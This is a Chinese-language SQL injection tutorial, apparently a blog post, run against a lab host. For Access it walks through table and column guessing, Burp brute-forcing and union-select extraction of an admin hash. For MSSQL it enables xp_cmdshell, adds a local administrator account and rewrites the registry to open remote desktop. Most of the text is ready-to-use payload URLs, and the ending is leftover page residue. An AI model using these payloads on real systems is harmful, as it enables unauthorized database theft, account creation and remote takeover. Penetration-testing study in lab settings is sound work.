目录
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
access数据库
手工注入过程:
猜解数据库表名
and exists(select * from users)
--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users)
--此查询尝试验证id参数是否可被用来注入SQL代码,并进一步判断数据库中是否有名为users的表。如果网页返回正常或特定的错误信息,可能表明SQL注入漏洞存在。
--如果网站直接显示一个错误页面,特别是提及SQL语法错误或表名users的信息,强烈暗示存在SQL注入漏洞。
--利用bp抓包进行数据库表名爆破(流程如下图)
加载网站用bp抓包
http://10.0.0.101/custom.asp?id=1 and exists(select * from users)

添加字典跑数据库表名

返回200状态,正常显示证明数据库有此表

猜解数据库表名里面的字段
and exists(select password from administrator)

结果:

猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by
--order by 8 order by 7
union select
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
order by 8

order by 7

union select 1,2,3,4,5,6,7 from administrator
显示2 ,3,5,7;说明2,3,5,7可执行可读写
说明:
替换的内容
2:user_name --输出admin
3:password --输出21232f297a57a5a743894a0e4a801fc3
5:id --输出1
7:now --输出2024-5-3 18:22:54

union select 1,user_name,password,4,id,6,now from administrator


-
偏移注入
-
跨库查询
mssql数据库
手工注入过程:
sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1
--1.aspx则是一个具体的ASP.NET页面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'--测试是否有注入点
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects)
--注入尝试:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查询参数xxser的值后面添加了SQL代码,试图探测数据库中是否存在特定的对象。这里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一个系统表,包含了数据库中所有对象(如表、视图、存储过程等)的信息。通过检查sysobjects表中的记录是否存在,攻击者可以间接判断SQL注入是否成功以及数据库中是否有特定的表或对象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0
--查询当前数据库系统的用户名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
--检查注入点是否为sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
--判断一下xp_cmdshell存储过程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢复(启用)SQL Server中的xp_cmdshell扩展存储过程的正确方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加账户
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--开启3389端口
远程连接10.0.0.101主机输入账户test密码test登陆;建立远程连接。

检查是否是mssql数据库:未报错,是mssql数据库
and exists (select * from sysobjects)

第二步:查询当前数据库系统的用户名
and system_user=0

第三步:检查注入点是否为sa权限:存在
and 1=(select IS_SRVROLEMEMBER('sysadmin'))

第四步:判断一下xp_cmdshell存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢复xp_cmdshell

&spm=1001.2101.3001.5002&articleId=139244723&d=1&t=3&u=72222e65dfb14612a7b149b806099fc7)
990

被折叠的 条评论
为什么被折叠?



